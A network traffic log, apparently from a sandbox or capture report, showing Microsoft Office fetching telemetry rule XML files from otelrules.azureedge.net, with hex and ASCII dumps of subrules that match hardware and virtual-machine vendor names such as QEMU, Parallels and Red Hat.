2024-12-01 02:32:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 1401d51e-801e-0067-0fb2-42fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023251Z-174f7845968jrjrxhC1EWRmmrs00000012b000000000g6w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023251Z-174f7845968kdththC1EWRzvxn0000000em000000000ftmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023251Z-174f7845968kdththC1EWRzvxn0000000eqg000000005b4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023251Z-174f78459688l8rvhC1EWRtzr00000000f00000000001nxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:52 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: b4ece731-701e-0097-3213-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023252Z-174f78459684bddphC1EWRbht4000000122g0000000066s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:53 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:53 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: cf0a4750-201e-005d-5b07-42afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023253Z-174f7845968cpnpfhC1EWR3afc00000011vg00000000ep3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7e595f47-c01e-0049-281b-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023254Z-174f7845968xlwnmhC1EWR0sv8000000120g00000000mr3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023254Z-174f78459685m244hC1EWRgp2c000000122000000000gczf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:54 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023254Z-174f7845968jrjrxhC1EWRmmrs00000012k0000000000dqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:54 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:55 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:55 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023255Z-174f78459685m244hC1EWRgp2c000000123g00000000bv3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:55 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 0d65d26d-201e-0000-194f-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023255Z-174f7845968cpnpfhC1EWR3afc000000120g000000002ute x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: e0e90f6b-301e-000c-3eb2-42323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023256Z-174f7845968glpgnhC1EWR7uec00000012c000000000h5ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
